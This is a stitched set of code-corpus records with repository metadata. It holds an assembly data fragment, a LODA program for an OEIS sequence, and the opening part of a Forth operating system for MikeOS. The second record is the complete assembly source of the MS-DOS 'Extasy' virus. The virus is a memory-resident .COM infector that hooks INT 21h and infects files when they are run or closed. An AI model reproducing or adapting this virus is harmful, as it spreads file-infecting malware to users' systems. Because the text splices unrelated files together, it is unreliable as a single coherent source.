db 2,2,5,-33,0
eat:
db 1,8,33,78,0
key:
db 1,1,4,0,0
ice:
db 2,6,22,66,0
done:
db 1,32,99,-3,0
dead:
db 1,32,1,-64,0
endmodule
endmodule
| 19.231818 | 80 | 0.565824 |
8b3ebf7e363af4bd65b858cb913244d8306a6e87 | 4,198 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.extasy.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.extasy.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.extasy.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | ; Virusname: Extasy
; Origin: Sweden
; Author: Metal Militia
; This virus can be found with any anti-virus program, since it's been
; around for a while now. (SCAN/TB-SCAN/F-PROT/SOLOMON that is..)
;
; It's a resident .COM infector, without any encryption or stealth
; capabilities. It infects when you execute (4bh) or closes (3eh).
; This virus looks pretty much like RAVAGE, since it's pretty much
; alike except for that RAVAGE infects .EXE files too.
;
; I stopped with this virus since it's so totally buggy that you'll find
; it almost at once. This is the reason why i give you the source code.
; In my later resident things, there will be such things as encryption,
; stealth etc. i think..
.model tiny
.code
.radix 16
.code
viruslength = heap - _small
startload = 90 * 4
_small:
call relative
oldheader dw 020cdh
dw 0bh dup (0)
relative:
pop bp
push ds
push es
xor ax,ax
mov ds,ax
mov es,ax
mov di,startload
cmp word ptr ds:[di+25],di
jz exit_small
lea si,[bp-3]
mov cx,viruslength
db 2Eh
rep movsb
mov di,offset old21 + startload
mov si,21*4
push si
movsw
movsw
pop di
mov ax,offset int21 + startload
stosw
xchg ax,cx
stosw
exit_small:
pop es
pop ds
or sp,sp
jnp returnCOM
returnGNU:
returnCOM:
mov di,100
push di
mov si,bp
movsw
movsb
ret
infect:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
mov ax,3d02
int 21
xchg ax,bx
push cs
pop ds
push cs
pop es
mov ax,5700h
int 21h
push cx
push dx
mov si,offset oldheader+startload
mov ah,3f
mov cx,18
push cx
mov dx,si
int 21
cmp ax,cx
jnz go_already_infected
mov di,offset target + startload
push di
rep movsb
pop di
mov ax,4202
cwd
int 21
cmp ds:[di],'ZM'
jz infectNOT
cmp ds:[di],'MZ'
jz infectNOT
sub ax,3
mov byte ptr ds:[di],0e9
mov ds:[di+1],ax
sub ax,viruslength
cmp ds:[si-17],ax
jnz finishinfect
go_already_infected:
pop cx
jmp short already_infected
db "EXTASY!"
db "(c) Metal Militia / Immortal Riot"
int21:
cmp ax,4b00
jz kewl
cmp ax,3e00
jnz oops
mov ah,45
int 21
jmp kewl
oops:
jmp chain
infectNOT:
jmp go_already_infected
kewl:
jmp infect
finishinfect:
mov cx,viruslength
mov dx,startload
mov ah,40
int 21
mov ax,4200
xor cx,cx
cwd
int 21
mov ah,40
mov dx,di
pop cx
int 21
already_infected:
pop dx
pop cx
mov ax,5701h
int 21h
mov ah,3e
int 21
exitinfect:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
chain:
db 0ea
heap:
old21 dw ?, ?
target dw 0ch dup (?)
endheap:
end _small | 21.309645 | 72 | 0.424011 |
db2c46a31b1e0fed7a77da23ebd3d191dc266f12 | 893 | asm | Assembly | programs/oeis/129/A129792.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/129/A129792.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/129/A129792.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A129792: a(n) = ceiling(8^n/n).
; 8,32,171,1024,6554,43691,299594,2097152,14913081,107374183,780903145,5726623062,42288908761,314146179365,2345624805923,17592186044416,132458812569721,1000799917193444,7585009898729257,57646075230342349,439208192231179801,3353953467947191203,25665035232987202249,196765270119568550571,1511157274518286468383,11624286727063742064483,89550060712194753681939,690814754065502385546387,5335948445195604633185881,41264667976179342496637475,319468397234936845135257865,2475880078570760549798248448,19206827276185293962071260688,149135364732732870764318024162,1158994834494381167082700073487,9014404268289631299532111682674,70166173763984157142304004448921,546557564056297645108473297812642,4260346140336268823409638013719054,33230699894622896822595176507008615,259361560153154316664157475176652601
add $0,1
mov $1,8
pow $1,$0
sub $1,1
div $1,$0
add $1,1
mov $0,$1
| 81.181818 | 791 | 0.899216 |
863b9b33dcbf49d593e4262bf40ab2e7c5775678 | 70,136 | asm | Assembly | programs/forth.asm | CH-Electronics/chos | 4a5ac8b704242c60e4462a3ead7faf9ccc71229f | [
"BSD-3-Clause"
] | 312 | 2015-01-05T03:14:47.000Z | 2022-03-30T01:47:49.000Z | programs/forth.asm | ekoontz/mikeOS | 691040e1c62298bf1322984cd85d497b573be395 | [
"BSD-3-Clause"
] | 8 | 2016-08-10T16:50:33.000Z | 2021-01-26T09:37:06.000Z | programs/forth.asm | ekoontz/mikeOS | 691040e1c62298bf1322984cd85d497b573be395 | [
"BSD-3-Clause"
] | 155 | 2015-01-16T10:58:42.000Z | 2022-01-12T17:37:21.000Z | ; *****************************************************************************
; *
; * Forth operating system for an IBM Compatible PC
; * Copyright (C) 1993-2011 W Nagel
; * Copyright (C) 2014 MikeOS Developers -- see doc/LICENSE.TXT
; *
; * For the most part it follows the FIG model, Forth-79 standard
; * There are differences, however
; *
; *****************************************************************************
; Some machines use subroutine threading (use SP for R stack) - this is
; considered Forth-like, and not true Forth. Also, the 8086 does not support
; [SP] and there are many more PUSH (1 byte) than RPUSH (4 bytes) instructions.
; This would be a poor choice for this processor.
; CFA = Compilation (or Code) Field Address.
; A Forth header =
; LFA address of previous word in chain, last one = 0
; NFA count(b4-0)/flags(b7=immediate, b5=smudge) + name
; CFA points to executable code for this definition
; PFA may contain parameters or code
; converted to nasm's macro processor
bits 16 ; nasm, 8086
%include "mikedev.inc"
cr equ 13 ; carriage return
lf equ 10 ; line feed
bell equ 7 ; bell (sort of)
spc equ 32 ; space
bs equ 8 ; back space
del equ 127 ; 'delete' character
%macro NEXT 0 ; mov di,[si] + inc si (twice) => couple extra bytes & many cycles
lodsw
xchg ax,di ; less bytes than mov, just as fast
jmp [di] ; 4 bytes
%endmacro
%macro RPUSH 1
dec bp
dec bp
mov word [bp+0],%1
%endmacro
%macro RPOP 1
mov word %1,[bp+0]
inc bp
inc bp
%endmacro
; A vocabulary is specified by a number between 1 and 15. See 'vocabulary' for a short
; discussion. A minimum of (2* highest vocabulary) dictionary threads are needed to
; prevent 'collisions' among the vocabularies. Initial compilation is entirely in the
; 'FORTH' vocabulary.
VOC EQU 1 ; specify FORTH part of Dictionary for this build
%assign IMM 0 ; next word is not IMMEDIATE
%macro IMMEDIATE 0 ; the following word is immediate
%assign IMM 080h
%endmacro
%assign defn 0 ; definition counter to create unique label
%define @def0 0 ; no definitions yet, mark as end of chain
%macro HEADING 1
%assign t1 defn ; unique label for chaining definitions
%assign defn defn+1 ; increment label
%strlen lenstrng %1 ; get length of name
@def %+ defn: dw @def %+ t1 ; temporary LFA -- first startup rearranges into chains
db IMM+lenstrng, %1 ; turn name into counted string with immediate indicator
%assign IMM 0 ; next word is not immediate, by default
%endmacro
org 0x8000 ; Start 1/2 way through segment for MikeOS
size EQU 65536
first EQU size & 0xffff ; 65536 or memory end for single segment 8086
stack0 EQU size - 128 ; R Stack & text input buffer
jmp do_startup ; maximize use-once code that will be "forgotten"
; Nucleus / Core -- ground 0
; Single precision (16-bit) Arithmetic operators
; CODE used extensively for speed
HEADING '*' ; ( n1 n2 -- n )
mult: dw $ + 2
pop di
pop ax
mul di
push ax
NEXT
HEADING '*/' ; ( n1 n2 n3 -- n )
dw $ + 2
pop di
pop dx
pop ax
imul dx
idiv di
push ax
NEXT
HEADING '*/MOD' ; ( u1 u2 u3 -- r q )
dw $ + 2
pop di
pop dx
pop ax
mul dx
div di
push dx
push ax
NEXT
HEADING '+' ; ( n1 n2 -- n )
plus: dw $ + 2
pop dx
pop ax
add ax,dx
push ax
NEXT
HEADING '-' ; ( n1 n2 -- n )
minus: dw $ + 2
pop dx
pop ax
sub ax,dx
push ax
NEXT
HEADING '/' ; ( n1 n2 -- n )
divide: dw $ + 2
pop di
pop ax
CWD
idiv di ; use di register for all divisions
push ax ; so that div_0 interrupt will work
NEXT
HEADING '/MOD' ; ( u1 u2 -- r q )
dw $ + 2
pop di
pop ax
sub dx,dx
div di
push dx
push ax
NEXT
HEADING '1+' ; ( n -- n+1 )
one_plus: dw $ + 2
pop ax
inc ax
push ax
NEXT
HEADING '1+!' ; ( a -- )
one_plus_store: dw $ + 2
pop di
inc word [di]
NEXT
HEADING '1-' ; ( n -- n-1 )
one_minus: dw $ + 2
pop ax
dec ax
push ax
NEXT
HEADING '1-!' ; ( a -- )
dw $ + 2
pop di
dec word [di]
NEXT
HEADING '2*' ; ( n -- 2n )
two_times: dw $ + 2
pop ax
shl ax,1
push ax
NEXT
HEADING '2**' ; ( n -- 2**N )
dw $ + 2
mov ax,1
pop cx
and cx,0Fh
shl ax,cl
push ax
NEXT
HEADING '2+' ; ( n -- n+2 )
two_plus: dw $ + 2
pop ax
inc ax
inc ax
push ax
NEXT
HEADING '2-' ; ( n -- n-2 )
two_minus: dw $ + 2
pop ax
dec ax
dec ax
push ax
NEXT
HEADING '2/' ; ( n -- n/2 )
dw $ + 2
pop ax
sar ax,1
push ax
NEXT
HEADING '4*' ; ( n -- 4n )
dw $ + 2
pop ax
shl ax,1
shl ax,1
push ax
NEXT
HEADING '4/' ; ( n -- n/4 )
dw $ + 2
pop ax
sar ax,1
sar ax,1
push ax
NEXT
HEADING 'MOD' ; ( u1 u2 -- r )
dw $ + 2
pop di
pop ax
sub dx,dx
div di
push dx
NEXT
HEADING 'NEGATE' ; ( n -- -n )
dw $ + 2
pop ax
negate1:
neg ax
push ax
NEXT
HEADING 'ABS' ; ( n -- |n| )
dw $ + 2
pop ax
or ax,ax
jl negate1 ; not alphabetical, allow short jump
push ax
NEXT
; Bit and Logical operators
HEADING 'AND' ; ( n1 n2 -- n )
cfa_and: dw $ + 2
pop dx
pop ax
and ax,dx
push ax
NEXT
HEADING 'COM' ; ( n -- !n >> ones complement )
dw $ + 2
pop ax
not ax
push ax
NEXT
HEADING 'LSHIFT' ; ( n c -- n<<c )
dw $ + 2
pop cx
pop ax
and cx,0Fh ; 16-bit word => max of 15 shifts
shl ax,cl
push ax
NEXT
HEADING 'NOT' ; ( f -- \f )
cfa_not: dw zero_eq + 2 ; similar to an alias
HEADING 'OR' ; ( n1 n2 -- n )
cfa_or: dw $ + 2
pop dx
pop ax
or ax,dx
push ax
NEXT
HEADING 'RSHIFT' ; ( n c -- n>>c )
dw $ + 2
pop cx
pop ax
and cx,0Fh
sar ax,cl
push ax
NEXT
HEADING 'XOR' ; ( n1 n2 -- n )
cfa_xor: dw $ + 2
pop dx
pop ax
xor ax,dx
push ax
NEXT
; Number comparison
HEADING '0<' ; ( n -- f )
zero_less: dw $ + 2
pop cx
or cx,cx
do_less:
mov ax,0
jge dl1
inc ax ; '79 true = 1
; dec ax ; '83 true = -1
dl1:
push ax
NEXT
HEADING '<' ; ( n1 n2 -- f )
less: dw $ + 2
pop dx
pop cx
cmp cx,dx
JMP do_less
HEADING '>' ; ( n1 n2 -- f )
greater: dw $ + 2
pop cx
pop dx
cmp cx,dx
JMP do_less
HEADING '0=' ; ( n -- f )
zero_eq: dw $ + 2
pop cx
test0:
mov ax,1 ; '79 true
jcxz z2
dec ax ; 1-1 = 0 = FALSE
z2:
push ax
NEXT
HEADING '=' ; ( n1 n2 -- f )
cfa_eq: dw $ + 2
pop dx
pop cx
sub cx,dx
JMP test0
HEADING 'MAX' ; ( n1 n2 -- n )
dw $ + 2
pop ax
pop dx
CMP dx,ax
jge max1
xchg ax,dx
max1:
push dx
NEXT
HEADING 'MIN' ; ( n1 n2 -- n )
cfa_min: dw $ + 2
pop ax
pop dx
CMP ax,dx
jge min1
xchg ax,dx
min1:
push dx
NEXT
HEADING 'U<' ; ( u1 u2 -- f )
u_less: dw $ + 2
sub cx,cx
pop dx
pop ax
cmp ax,dx
jnc ul1
inc cx
ul1:
push cx
NEXT
HEADING 'WITHIN' ; ( n nl nh -- f >> true if nl <= n < nh )
WITHIN: dw $ + 2
sub cx,cx ; flag, default is false
pop dx ; high limit
pop di ; low limit
pop ax ; variable
cmp ax,dx ; less than (lt) high, continue
jge w1
cmp ax,di ; ge low
jl w1
inc cx
w1:
push cx
NEXT
; Memory reference, 16 bit
HEADING '!' ; ( n a -- )
store: dw $ + 2
pop di
pop ax
stosw ; less bytes and just as fast as move
NEXT
HEADING '+!' ; ( n a -- )
plus_store: dw $ + 2
pop di
pop ax
add [di],ax
NEXT
HEADING '@' ; ( a -- n )
fetch: dw $ + 2
pop di
push word [di]
NEXT
HEADING 'C!' ; ( c a -- )
c_store: dw $ + 2
pop di
pop ax
stosb ; less bytes and just as fast as move
NEXT
HEADING 'C+!' ; ( c a -- )
dw $ + 2
pop di
pop ax
add [di],al
NEXT
HEADING 'C@' ; ( a -- zxc >> zero extend )
c_fetch: dw $ + 2
pop di
sub ax,ax
mov al,[di]
push ax
NEXT
HEADING 'FALSE!' ; ( a -- >> stores 0 in address )
false_store: dw $ + 2
sub ax,ax
pop di
stosw
NEXT
HEADING 'XFER' ; ( a1 a2 -- >> transfers contents of 1 to 2 )
XFER: dw $ + 2
pop dx
pop di
mov ax,[di]
mov di,dx
stosw
NEXT
; 16-bit Parameter Stack operators
HEADING '-ROT' ; ( n1 n2 n3 -- n3 n1 n2 )
m_ROT: dw $ + 2
pop di
pop dx
pop ax
push di
push ax
push dx
NEXT
HEADING '?DUP' ; ( n -- 0, n n )
q_DUP: dw $ + 2
pop ax
or ax,ax
jz qdu1
push ax
qdu1:
push ax
NEXT
HEADING 'DROP' ; ( n -- )
DROP: dw $ + 2
pop ax
NEXT
HEADING 'DUP' ; ( n -- n n )
cfa_dup: dw $ + 2
pop ax
push ax
push ax
NEXT
HEADING 'OVER' ; ( n1 n2 -- n1 n2 n1 )
OVER: dw $ + 2
mov di,sp
push word [di+2]
NEXT
HEADING 'PICK' ; ( ... n1 c -- ... nc )
PICK: dw $ + 2
pop di
dec di
shl di,1
add di,sp
push word [di]
NEXT
HEADING 'ROT' ; ( n1 n2 n3 -- n2 n3 n1 )
ROT: dw $ + 2
pop di
pop dx
pop ax
push dx
push di
push ax
NEXT
; Note: 'push sp' results vary by processor
HEADING 'SP@' ; ( -- a )
sp_fetch: dw $ + 2
mov ax,sp
push ax
NEXT
HEADING 'SWAP' ; ( n1 n2 -- n2 n1 )
SWAP: dw $ + 2
pop dx
pop ax
push dx
push ax
NEXT
; Return stack manipulation
HEADING 'I' ; ( -- n >> [RP] )
eye: dw $ + 2
mov ax,[bp+0]
push ax
NEXT
HEADING "I'" ; ( -- n >> [RP+2] )
eye_prime: dw $ + 2
mov ax,[bp+2]
push ax
NEXT
HEADING 'J' ; ( -- n >> [RP+4] )
dw $ + 2
mov ax,[bp+4]
push ax
NEXT
HEADING "J'" ; ( -- n >> [RP+6] )
dw $ + 2
mov ax,[bp+6]
push ax
NEXT
HEADING 'K' ; ( -- n >> [RP+8] )
dw $ + 2
mov ax,[bp+8]
push ax
NEXT
HEADING '>R' ; ( n -- >> S stack to R stack )
to_r: dw $ + 2
pop ax
RPUSH ax
NEXT
HEADING 'R>' ; ( -- n >> R stack to S stack )
r_from: dw $ + 2
RPOP ax
push ax
NEXT
; Constant replacements
; CONSTANT takes 66 cycles (8086) to execute
HEADING '0' ; ( -- 0 )
zero: dw $ + 2
xor ax,ax
push ax
NEXT
HEADING '1' ; ( -- 1 )
one: dw $ + 2
mov ax,1
push ax
NEXT
HEADING 'FALSE' ; ( -- 0 )
dw zero + 2
HEADING 'TRUE' ; ( -- t )
truu: dw $ + 2
mov ax,1 ; '79 value
push ax
NEXT
; 32-bit (double cell) - standard option
HEADING '2!' ; ( d a -- )
two_store: dw $ + 2
pop di
pop dx ; TOS = high word
pop ax ; variable low address => low word
stosw
mov ax,dx
stosw
NEXT
HEADING '2>R' ; ( n n -- >> transfer to R stack )
two_to_r: dw $ + 2
pop ax
pop dx
RPUSH dx
RPUSH ax
NEXT
HEADING '2@' ; ( a -- d )
two_fetch: dw $ + 2
pop di
push word [di] ; low variable address => low word
push word [di+2] ; low param stack address (TOS) => high word
NEXT
HEADING '2DROP' ; ( d -- )
two_drop: dw $ + 2
pop ax
pop ax
NEXT
HEADING '2DUP' ; ( d -- d d )
two_dup: dw $ + 2
pop dx
pop ax
push ax
push dx
push ax
push dx
NEXT
HEADING '2OVER' ; ( d1 d2 -- d1 d2 d1 )
two_over: dw $ + 2
mov di,sp
push word [di+6]
push word [di+4]
NEXT
HEADING '2R>' ; ( -- n1 n2 )
two_r_from: dw $ + 2
RPOP ax
RPOP dx
push dx
push ax
NEXT
HEADING '2SWAP' ; ( d1 d2 -- d2 d1 )
two_swap: dw $ + 2
pop dx
pop di
pop ax
pop cx
push di
push dx
push cx
push ax
NEXT
HEADING 'D+' ; ( d1 d2 -- d )
d_plus: dw $ + 2
pop dx
pop ax
dplus:
mov di,sp
add [di+2],ax
adc [di],dx
NEXT
HEADING 'D+!' ; ( d a -- )
dw $ + 2
pop di
pop dx
pop ax
add [di+2],ax
adc [di],dx
NEXT
HEADING 'D-' ; ( d1 d2 -- d )
d_minus: dw $ + 2
pop cx
pop di
pop ax
pop dx
sub dx,di
sbb ax,cx
push dx
push ax
NEXT
HEADING 'D0=' ; ( d -- f )
d_zero_eq: dw $ + 2
pop ax
pop dx
sub cx,cx
or ax,dx
jnz dz1
inc cx ; 1, F79
; dec cx ; -1, F83
dz1:
push cx
NEXT
HEADING 'DNEGATE' ; ( d -- -d )
DNEGATE: dw $ + 2
pop dx
pop ax
neg ax
adc dx,0
neg dx
push ax
push dx
NEXT
HEADING 'S>D' ; ( n -- d )
s_to_d: dw $ + 2
pop ax
CWD
push ax
push dx
NEXT
HEADING 'M*' ; ( n1 n2 -- d )
dw $ + 2
pop ax
pop dx
imul dx
push ax
push dx
NEXT
HEADING 'M+' ; ( d1 n -- d )
dw $ + 2
pop ax
CWD
jmp dplus
HEADING 'M/' ; ( d n1 -- n )
dw $ + 2
pop di
pop dx
pop ax
idiv di
push ax
NEXT
HEADING 'U*' ; ( u1 u2 -- d )
dw $ + 2
pop ax
pop dx
mul dx
push ax
push dx
NEXT
HEADING 'U/MOD' ; ( d u -- r q )
dw $ + 2
pop di
pop dx
pop ax
div di
push dx
push ax
NEXT
; Long Structures - more efficient code, but extra byte
; These use a stored address rather than a byte offset
do_branch: dw $ + 2
branch:
lodsw ; ax = goto address
mov si,ax ; XP = goto
NEXT
; jump on opposite condition, ie NE IF compiles JE
q_branch: dw $ + 2 ; ( f -- )
pop ax
or ax,ax
je branch ; ignore conditional execution if flag false
no_branch:
inc si ; bypass jump address
inc si
NEXT ; and then execute conditional words
do_loop: dw $ + 2
mov cx,1 ; normal increment
lp1:
add cx,[bp+0] ; update counter
mov [bp+0],cx ; save for next round
cmp cx,[bp+2] ; (signed, Forth-79) compare to limit
jl branch ; not at end of loop count, go again
lp2:
add bp,4 ; at end, drop cntr & limit from R stack
inc si ; skip jump/loop address & continue
inc si
NEXT
plus_loop: dw $ + 2 ; ( n -- )
pop cx
JMP lp1
slant_loop: dw $ + 2 ; ( n -- )
pop dx
add [bp+0],dx ; (Forth-83) crossed boundary from below?
mov ax,[bp+0]
sub ax,[bp+2]
xor ax,dx
jge lp2 ; end of loop, exit
jmp branch ; no, branch back to loop beginning
c_switch: dw $ + 2 ; ( xx c.input -- xx | xx c.input )
pop dx
RPUSH si
ADD si,4
sub cx,cx
c_s1: ; BEGIN
lodsw ; inc si, get address of byte
mov di,ax
MOV cl,[di] ; byte to match
lodsw ; inc si, get possible link
CMP dl,cl
je c_s3 ; input match this entry ?
CMP ax,0 ; WHILE not last link = 0
jz c_s2
mov si,ax
JMP c_s1 ; REPEAT, try next entry
c_s2:
push dx ; no matches
c_s3:
NEXT
do_switch: dw $ + 2 ; ( xx n.input -- xx | xx n.input )
pop dx ; switch input
RPUSH si
ADD si,4 ; skip forth branch
sw1:
lodsw
MOV cx,ax ; number to match
lodsw ; increment I; get possible link
CMP dx,cx
je sw3 ; input match this entry
CMP ax,0
je sw2
mov si,ax
JMP sw1 ; try next entry
sw2:
push dx ; no matches
sw3:
NEXT
; Runtime for literals
bite: dw $ + 2
lodsb ; get data byte
cbw ; sign extend to word
push ax
NEXT
cell: dw $ + 2 ; code def with no header/ only cfa.
lodsw ; used by literal
push ax ; push data word on param stack
NEXT
dclit: dw $ + 2 ; ( -- sxc1 sxc2 )
lodsb ; get first byte
cbw
push ax
lodsb ; get second byte
cbw
push ax
NEXT
dblwd: dw $ + 2 ; ( -- d )
lodsw
mov dx,ax ; low address => high word when inline
lodsw
push ax
push dx ; lower stack address (TOS) => high word
NEXT
; Program execution
HEADING 'EXECUTE'
EXECUTE: dw $ + 2
pop di ; ( cfa -- >> runtime )
exec1:
or di,di
jz e001 ; no address was given, cannot be 0
jmp [di]
e001:
NEXT
HEADING '@EXECUTE'
@EXECUTE: dw $ + 2
pop di ; ( a -- >> runtime )
mov di,[di]
JMP exec1
HEADING 'EXIT' ; LFA + NFA
EXIT: dw $ + 2 ; CFA
exit1: ; R = BP, return stack pointer ( PFA )
RPOP si
NEXT
HEADING 'LEAVE-EXIT'
leave_exit: dw $ + 2
add bp,4 ; 2RDROP - count & limit
jmp exit1
HEADING '2LEAVE-EXIT'
dw $ + 2
add bp,8 ; 4RDROP - both counts & limits
jmp exit1
HEADING 'LEAVE'
leave_lp: dw $ + 2
mov ax,[bp+0] ; next test will => done, count = limit
mov [bp+2],ax
NEXT
HEADING 'STAY' ; ( f -- >> exit if false )
STAY: dw $ + 2
pop ax
or ax,ax
jz exit1
NEXT
; Defining words -- define & execution
HEADING ':'
dw colon
dw cfa_create, r_bracket
dw sem_cod ; sets CFA of daughter to 'colon'
colon:
inc di ; cfa -> pfa
inc di
RPUSH si ; rpush si = execute ptr => current pfa
mov si,di ; exec ptr = new pfa
NEXT
; Note - word copies input to here + 2, in case of a new definition
HEADING 'CREATE'
cfa_create dw colon ; ( -- )
dw blnk, cfa_word, cfa_dup ; word adr = string adr = na
dw c_fetch, cfa_dup ; ( na count count )
dw zero_eq, abortq
db ct001 - $ - 1
db 'No name'
ct001:
dw bite ; ( na count )
db 31
dw greater, abortq
db ct002 - $ - 1
db 'Name too long!'
ct002:
dw CURRENT, c_fetch, HASH, FIND_WD ; ( na v -- na lfa,0 )
dw q_DUP, q_branch ; IF name exists in current vocab,
dw ct005 ; print redefinition 'warning'
dw CR, OVER, COUNT, cfa_type
dw dotq
db ct003 - $ - 1
db ' Redefinition of: '
ct003:
dw cfa_dup, id_dot, dotq
db ct004 - $ - 1
db 'at '
ct004:
dw u_dot
ct005: ; THEN
dw CURRENT, c_fetch, HASH ; ( na link )
dw HEADS, plus, HERE ; ( nfa hdx lfa=here )
dw cfa_dup, LAST, store ; ( nfa hdx lfa )
dw OVER, fetch, comma ; set link field
dw SWAP, store ; update heads
dw c_fetch ; ( count )
dw one_plus, ALLOT ; allot name and count/flags
dw SMUDGE
dw zero, comma ; code field = 0, ;code will update
dw sem_cod
create: ; ( -- pfa )
inc di ; cfa -> pfa
inc di
push di ; standard def => leave pfa on stack
NEXT
does:
RPUSH si ; rpush current (word uses parent) execute ptr
pop si ; get new (parent) execute ptr
inc di ; daughter cfa -> pfa
inc di
push di ; leave daughter pfa on stack
NEXT
HEADING 'CONSTANT'
cfa_constant: dw colon ; ( n -- >> compile time )
dw cfa_create, comma
dw UNSMUDGE, sem_cod
constant: ; ( -- n >> run time )
push word [di+2]
NEXT
HEADING '2CONSTANT'
dw colon ; ( d -- )
dw SWAP, cfa_constant
dw comma, sem_cod
two_con: ; ( -- d )
push word [di+2]
push word [di+4]
NEXT
; System-wide constants
HEADING '0.' ; ( -- 0 0 >> code def is alternative )
zero_dot: dw two_con
dw 0, 0
HEADING '1.'
dw two_con
dw 1, 0
HEADING '2'
two: dw constant, 2
HEADING 'BL'
blnk: dw constant, spc ; <space>
B_HDR: dw constant ; bytes in header, ie, hash lists * 2
dw 32 ; see HEADS and FENCE
L_WIDTH: dw constant
dw 80
HEADING 'S0'
SP0: dw constant, stack0
; String, text operators
HEADING '-TEXT' ; ( a1 n a2 -- f,t=different )
dw $ + 2
pop di
pop cx
pop ax
xchg ax,si
REP CMPSB
je txt1
mov cx,1
jnc txt1
neg cx
txt1:
push cx
mov si,ax
NEXT
HEADING '-TRAILING' ; ( a n -- a n' )
m_TRAILING: dw $ + 2
pop cx
pop di
push di
jcxz trl1
mov al,' '
add di,cx
dec di
STD
REP scasb
cld
je trl1
inc cx
trl1:
push cx
NEXT
HEADING '<CMOVE' ; ( s d n -- )
backwards_cmove: dw $ + 2
pop cx
pop di
pop ax
jcxz bmv1
xchg ax,si
add di,cx
dec di
add si,cx
dec si
STD
REP movsb
cld
mov si,ax
bmv1:
NEXT
HEADING 'CMOVE' ; ( s d n -- )
front_cmove: dw $ + 2
pop cx ; count
pop di
pop ax
xchg ax,si
rep movsb
mov si,ax
NEXT
HEADING 'COUNT' ; ( a -- a+1 n )
COUNT: dw $ + 2
pop di
sub ax,ax
mov al,[di]
inc di
push di
push ax
NEXT
; Memory fills
HEADING 'FILL' ; ( a n c -- )
dw $ + 2
pop ax
mem_fill:
pop cx
pop di
REP stosb
NEXT
HEADING 'BLANK' ; ( a n -- )
BLANK: dw $ + 2
mov al,' '
JMP mem_fill
HEADING 'ERASE' ; ( a n -- )
ERASE: dw $ + 2
sub ax,ax
JMP mem_fill
; Intersegment data moves
HEADING 'L!' ; ( n seg off -- )
dw $ + 2
pop di
pop ds
pop ax
mov [di],ax
mov dx,cs
mov ds,dx
NEXT
HEADING 'L@' ; ( seg off -- n )
dw $ + 2
pop di
pop ds
mov ax,[di]
mov dx,cs
mov ds,dx
push ax
NEXT
HEADING 'LC!' ; ( c seg off -- )
dw $ + 2
pop di
pop ds
pop ax
mov [di],al
mov dx,cs
mov ds,dx
NEXT
HEADING 'LC@' ; ( seg off -- c >> zero extended byte )
dw $ + 2
pop di
pop ds
sub ax,ax
mov al,[di]
mov dx,cs
mov ds,dx
push ax
NEXT
HEADING 'FORTHSEG' ; ( -- seg )
FORTHSEG: dw $ + 2 ; not a constant in a PC system
push cs ; changes each time the program is run
NEXT
HEADING 'STACKSEG' ; ( -- seg )
dw $ + 2
mov ax,cs ; 64K (4K segs) above FORTHSEG
add ax,4096
push ax
NEXT
HEADING 'FIRSTSEG' ; ( -- seg )
dw $ + 2
mov ax,cs ; 128K (8K segs) above FORTHSEG, 64k above stack/buffer seg
add ax,8192
push ax
NEXT
HEADING 'SEGMOVE' ; ( fs fa ts ta #byte -- )
dw $ + 2
pop cx
pop di
pop es
pop ax
pop ds
xchg ax,si
shr cx,1
jcxz segmv1
REP MOVSw
segmv1:
jnc segmv2
movsb
segmv2:
mov dx,cs
mov ds,dx
mov es,dx
mov si,ax
NEXT
; Miscellaneous Stuff
HEADING '><' ; ( n -- n' >> bytes interchanged )
dw $ + 2
pop ax
xchg al,ah
push ax
NEXT
HEADING '+@' ; ( a1 a2 -- n )
plus_fetch: dw $ + 2
pop ax
pop di
add di,ax
push word [di]
NEXT
HEADING '@+' ; ( n1 a -- n )
fetch_plus: dw $ + 2
pop di
pop ax
add ax,[di]
push ax
NEXT
HEADING '@-' ; ( n1 a -- n )
fetch_minus: dw $ + 2
pop di
pop ax
sub ax,[di]
push ax
NEXT
HEADING 'CFA' ; ( pfa -- cfa )
CFA: dw two_minus + 2 ; similar to an alias
HEADING '>BODY' ; ( cfa -- pfa )
to_body: dw two_plus + 2 ; similar to an alias
HEADING 'L>CFA' ; ( lfa -- cfa )
l_to_cfa: dw $ + 2
pop di
inc di
inc di
mov al,[di]
AND ax,1Fh ; count only, no flags such as immediate
add di,ax
inc di
push di
NEXT
HEADING 'L>NFA' ; ( lfa -- nfa )
l_to_nfa: dw two_plus + 2
HEADING 'L>PFA' ; ( lfa -- pfa )
dw colon
dw l_to_cfa, to_body, EXIT
; 15-bit Square Root of a 31-bit integer
HEADING 'SQRT' ; ( d -- n )
dw $ + 2
pop dx
pop ax
push si
sub di,di
mov si,di
mov cx,16
lr1:
shl ax,1
rcl dx,1
rcl si,1
shl ax,1
rcl dx,1
rcl si,1
shl di,1
shl di,1
inc di
CMP si,di
jc lr2
sub si,di
inc di
lr2:
shr di,1
LOOP lr1
pop si
push di
NEXT
; Start Colon Definitions -- non-defining words
; Best for FORTH compiler to create defining words first -- minimizes forward references
; Most of these are used in the base dictionary
HEADING 'D<' ; ( d1 d2 -- f )
d_less: dw colon ; CFA
dw d_minus ; PFA
dw zero_less, SWAP, DROP
dw EXIT ; semicolon
HEADING 'D=' ; ( d1 d2 -- f )
dw colon
dw d_minus
dw d_zero_eq
dw EXIT
HEADING 'DABS' ; ( d -- |d| )
DABS: dw colon
dw cfa_dup, zero_less, q_branch ; IF <0 THEN NEGATE
dw dab1
dw DNEGATE
dab1:
dw EXIT
